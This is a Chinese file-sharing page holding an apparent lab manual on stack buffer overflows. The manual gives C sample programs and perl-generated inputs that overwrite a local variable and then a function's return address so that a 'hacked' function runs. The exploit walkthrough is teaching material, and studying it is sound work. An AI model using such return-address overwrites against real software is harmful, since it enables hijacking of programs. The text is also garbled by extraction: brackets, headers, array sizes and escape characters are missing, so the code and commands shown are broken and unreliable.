




已阅读5页,还剩4页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
_实验二 栈溢出实验【实验内容】利用栈溢出修改变量值利用栈溢出修改函数返回地址,运行恶意代码【实验类型】验证型实验【实验学时】3学时【实验原理】如果向栈上声明的缓冲区中复制数据,但是复制到数据量又比缓冲区大的时候,就会发生栈溢出。在栈上声明的各种变量的位置紧临函数调用程序的返回地址。若用户输入的数据未经验证就传递给strcpy这样的函数,则会导致变量值被攻击者指定的值所改写或调用函数的返回地址将被攻击者选择的地址所覆盖,打乱程序正常运行流程,转而执行恶意代码。防范栈溢出的有效方法有:禁止栈执行,从而阻止攻击者植入恶意代码;编写安全可靠的代码,始终对输入的内容进行验证;利用编译器的边界检查实现栈保护。【实验环境】Linux实验台(CentOS)gcc和gdb工具【实验步骤】打开Linux实验台,输入用户名和口令,进入系统。一、 修改变量值(1) 新建stackover1.c文件:touch stackover1.c;(2) 编辑stackover1.c文件:vim stackover1.c,按i键进如编辑模式,输入示例程序1,按Esc键退出编辑模式,进入命令行,输入:wq保存并退出文件编辑,上述过程如图3.5.37和图3.5.38所示; (3) 查看编辑结果:cat stackover1.c,如图3.5.39所示; (4) 生成可执行文件:gcc stackover1.c o stackover1;(5) 运行执行文件:./ stackover1 ABCDE,执行结果如图3.5.310所示; 从结果中可以看出,x的值为程序中的设定值10;(6) 在内存中x紧邻buf,所以输入11个字符制造栈缓冲区溢出,以修改x所在地址空间的值:./ stackover1 ABCDEFGHIJK,运行结果如图3.5.311所示; x的值为75,对应K的ASCII码,x的值发生改变;(7) 利用perl命令输入适当的字符串,将x的值修改为任意指定的值,如修改为30,十六进制为0x1e:./ stackover1 perl e print “A”x10 . “x1e”,运行结果如图3.5.312所示; x的值为30,修改成功。示例程序1:#include #include void function(char * str) char buf10; int x=10; strcpy(buf,str); printf(x=%dn,x);int main(int argc,char * argv) function(argv1); return 0;二、 修改函数返回地址,运行恶意代码(1) 参照上述步骤,新建stackover2.c文件,输入示例程序2,生成可执行文件stackover2;(2) 运行可执行文件并查看结果:./ stackover2 AAAAA,结果如图3.5.313所示; 从结果中可以看出程序运行的栈情况,foo函数的返回地址位于第7个位置上,bar的函数入口地址为0x08048421;(3) 随意输入多个字符制造栈溢出:./ stackover2 perl e print “A”x25,运行结果如图3.5.315所示; (4) 构造输入字符串,将第7个位置修改为bar函数入口地址,即修改foo函数的返回地址为bar函数的入口地址,以修改程序运行流程:./ stackover2 perl e print “A”x14 . “x21x84x04x08”,运行结果如图3.5.317所示; bar函数运行,打印出“Hi!Youve been hacked!”,攻击成功。通常我们无法获取函数的地址和程序运行时栈的情况,需要通过反编译来查看变量地址或函数的入口地址,通过深入理解程序运行时的内存分配来计算函数返回地址在内存中的位置,以便达到修改程序运行流程、执行恶意代码的目的示例程序2#include #include void foo(const char *input)char buf10;printf(My stack looks like:n%p n%p n%p n%p n%p n%p n%p n%p n n);strcpy(buf,input);printf(%sn,buf);printf(Now the stack looks like:n%p n%p n%p n%p n%p n%p n%p n%p n n);void bar(void)printf(Hi!Youve been hacked!n); int main(int argc,char *argv)printf(Address of foo=%p n,foo);printf(Address of bar=%p n,bar);foo(argv1);return 0;【实验思考】尝试分析并画出上述程序的栈结构,可借助gdb命令;尝试在Windows环境下进行上述实验,并分析与Linux环境下的异同;根据程序运行时的内存分配原理计算函数的返回地址;以示例程序3为例,通过计算快速实现nevercalled函数的运行。示例程序3#include #include void nevercalled() printf(never calledn); exit(0);void functioncalled(char *arg) char buf10; int x,y,z,w;
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 三原色课件染发
- 三副知识更新培训课件
- 三分屏剪辑课件
- 小兔子乖乖课件文案
- 小儿高热惊厥病例讨论
- 电子商务领域海垦集团面试题库及备考指导
- 年产150万套益智多彩木制游戏生产线技改项目可行性研究报告模板-立项备案
- 大学生毕业典礼毕业生代表发言稿
- 卓越人才必 备:时间协调面试问题及答案精 编速览
- 高阶职场求职达人必读:池州投资集团面试题目及答案精解
- 急诊清创缝合术
- 护理深静脉血栓科普
- 寄宿学校班主任培训课件
- 服务理念与服务意识培训
- ASTM-D3359-(附著力测试标准)-中文版
- 保险公司与定点医院合作协议书(2篇)
- 商业银行声誉风险应对及实践案例精讲课件
- 特种设备日管控、周排查、月调度管理制度
- 2024年县乡教师选调进城考试《教育学》题库及完整答案(全优)
- 2023年HSE法律法规清单
- 糖尿病运动疗法讲座医学课件
评论
0/150
提交评论